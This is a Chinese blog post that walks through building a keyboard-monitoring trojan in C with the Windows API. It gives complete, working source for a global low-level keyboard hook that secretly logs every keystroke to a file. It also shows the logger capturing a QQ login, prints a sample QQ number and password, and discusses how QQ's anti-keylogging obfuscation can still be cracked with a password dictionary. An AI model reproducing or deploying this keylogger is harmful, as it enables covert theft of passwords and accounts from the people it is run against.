使用Windows API实现一个简单的键盘监听木马

419次阅读
没有评论

共计 3710 个字符,预计需要花费 10 分钟才能阅读完成。

内容目录

 账号被盗的原因很多,多半是由于用户的电脑遭到入侵被植入了木马,或者密码口令较为简单,被攻击者暴力破解甚至试探猜测出来。而键盘监听木马是一些不法分子盗取账号的重要手段。该木马在被执行时,会实时监听受害者的输入键盘值,木马执行的时机也大有考究,例如可以监听服务进程,当监听到特定软件启动时(例如QQ)才会开启键盘监听,木马将监听到的值存储至本地上可被外界访问的文件或以网络请求的形式转发至攻击者手上,以此达到获取账户的目的。

 一般来说,要实现一台电脑设备的键盘全局状态监听,需要使用操作系统提供的键盘监听钩子函数。在Windows中,Windows API就提供了键盘监听钩子函数KeyboardProc,本篇就以KeyboardProc使用为例,实现一个全局键盘监听的木马,并将监听结果存储到本地文件。

 在C语言中,Windows API都在<windows.h>中。

 KeyboardProc钩子是同SetWindowsHookEx方法一起使用的、用户定义的或者库定义的回调函数。无论什么时候,当应用程序调用GetMessage 或者PeekMessage方法时,系统都调用该方法,并有一个键盘消息(WM_KEYUP或者WM_KEYDOWN)被处理。

Syntax

LRESULT CALLBACK KeyboardProc(
    // 表示钩子链传递过来的钩子代码
    // 当code小于0时,表示当前钩子已处理该事件,不需要其它钩子处理
    int code, 
    // 表示被处理的消息类型
    // 键盘中事件有两种:WM_KEYDOWN(按下)和WM_KEYUP(松开)
    WPARAM wParam,
    // 表示额外的消息,如虚拟键码、扫描码等
    // 在键盘事件中,包含了一个指向KBDLLHOOKSTRUCT结构体的指针,该结构体包含了键盘事件的详细信息
    LPARAM lParam
);

 我们只需定义一个该函数,并在函数体内部实现相关的记录功能即可。在正式编写木马前,我们先实现记录字符至本地文件的存储函数,该函数的功能就是以追加的形式向一个文件中添加监听到的字符。

// 向文件后面追加监听到的字符
void appendToFile(WCHAR buffer[]){
    FILE *file;
    char filename[] = "listen_result.txt"; // 存储的文件名称
    file = fopen(filename, "a");
    if (file == NULL)
    {
        perror("Open File Faild.");
        exit(-1);
    }
    fwprintf(file, L"%ls", buffer);
fclose(file);
}

 对于钩子使用,有以下流程

  • 设置钩子函数;

 在程序初始化阶段,通过调用 SetWindowsHookEx 函数设置键盘钩子,并指定 KeyboardProc 函数作为回调函数。在设置钩子时,需要指定钩子类型为 WH_KEYBOARD_LL,表示低级键盘钩子。

// 设置钩子
void SetHook(){
    if (!(hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0)))
    {
        printf("Failed to install hook!\n");
    }
}
  • 进入事件循环;

 在执行阶段,同时使用GetMessage构建一个事件循环,然后使用TranslateMessage将虚拟键盘消息转换为字符消息;DispatchMessage将该消息进行分发。

   // 消息循环
    while (GetMessage(&msg, NULL, 0, 0) > 0)
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
  • 钩子处理;

 钩子处理执行的就是我们实现的KeyboardProc函数。

// 键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode < 0)
    {
        exit(-1);
    }
    KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
    // 键盘事件为按下
    if (wParam == WM_KEYDOWN)
    {
        // 获取虚拟键码
        DWORD vkCode = pKeyBoard->vkCode;
        // 转换虚拟键码到字符
        BYTE keyboardState[256];
        GetKeyboardState(keyboardState);

        WCHAR buffer[5];
        int result = ToUnicode(vkCode, pKeyBoard->scanCode, keyboardState, buffer, 4, 0);
        buffer[result] = '\0'; // 添加字符串结束符

        if (result > 0)
        {
            printf("Key Down: %ls\n", buffer); // 打印字符
            // 将结果追加到文件中
            appendToFile(buffer);
        }
    }
    return CallNextHookEx(hHook, nCode, wParam, lParam);
}

 其中,CallNextHookEx用户将消息传递给下一个钩子。

  • 钩子取消;

 钩子取消是通过调用UnhookWindowsHookEx函数并传入需要取消的钩子实例实现的。

// 取消钩子
void ReleaseHook()
{
    if (hHook)
    {
        UnhookWindowsHookEx(hHook);
    }
}

完整代码

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

// 向文件后面追加监听到的字符
void appendToFile(WCHAR buffer[])
{
    FILE *file;
    char filename[] = "listen_result.txt";
    file = fopen(filename, "a");
    if (file == NULL)
    {
        perror("Open File Faild.");
        exit(-1);
    }
    fwprintf(file, L"%ls", buffer);
    fclose(file);
}

// 全局钩子句柄
HHOOK hHook = NULL;

// 键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode < 0)
    {
        exit(-1);
    }
    KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;

    if (wParam == WM_KEYDOWN)
    {
        // 获取虚拟键码
        DWORD vkCode = pKeyBoard->vkCode;
        // 转换虚拟键码到字符
        BYTE keyboardState[256];
        GetKeyboardState(keyboardState);

        WCHAR buffer[5];
        int result = ToUnicode(vkCode, pKeyBoard->scanCode, keyboardState, buffer, 4, 0);
        buffer[result] = '\0'; // 添加字符串结束符

        if (result > 0)
        {
            printf("Key Down: %ls\n", buffer); // 打印字符
            // 将结果追加到文件中
            appendToFile(buffer);
        }
    }
    return CallNextHookEx(hHook, nCode, wParam, lParam);
}

// 设置钩子
void SetHook()
{
    if (!(hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0)))
    {
        printf("Failed to install hook!\n");
    }
}

// 取消钩子
void ReleaseHook()
{
    if (hHook)
    {
        UnhookWindowsHookEx(hHook);
    }
}

int main()
{
    MSG msg;

    // 设置全局钩子
    SetHook();

    // 消息循环
    while (GetMessage(&msg, NULL, 0, 0) > 0)
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    // 取消钩子
    ReleaseHook();

    return 0;
}

效果

 假设QQ号:2043393364 密码:hfutzhangdening

使用Windows API实现一个简单的键盘监听木马

 对于QQ软件,腾讯采用了一些防监听策略避免QQ的密码被盗取。最明显的是输入密码过程中,每隔一段时间就会接收到额外的虚拟键盘消息。这种应该是QQ通过定时发送虚拟键盘消息来混淆记录。除此之外就是以某种加密形式,将用户输入的字符输出加密后字符。

使用Windows API实现一个简单的键盘监听木马

 但是经过观察发现,后者只有在输入完QQ号后输入密码时才会触发,后续直接输入密码时,只会触发混淆记录。

使用Windows API实现一个简单的键盘监听木马

 记录结果与真实密码非常相似,对于获取到记录结果的人来说,只需进行一些社会学分析并结合密码字典就能快速的暴力破解出来。

 一种有效的防范策略是,在输入密码时,不要太快,这样就能够输出更多的用于混淆记录的虚拟键盘消息

使用Windows API实现一个简单的键盘监听木马

正文完
 
PG Thinker
版权声明:本站原创文章,由 PG Thinker 2024-06-03发表,共计3710字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
热评文章
Rust中所有权与借用规则概述

Rust中所有权与借用规则概述

在GC与手动管理内存之间,Rust选择了第三种:所有权机制...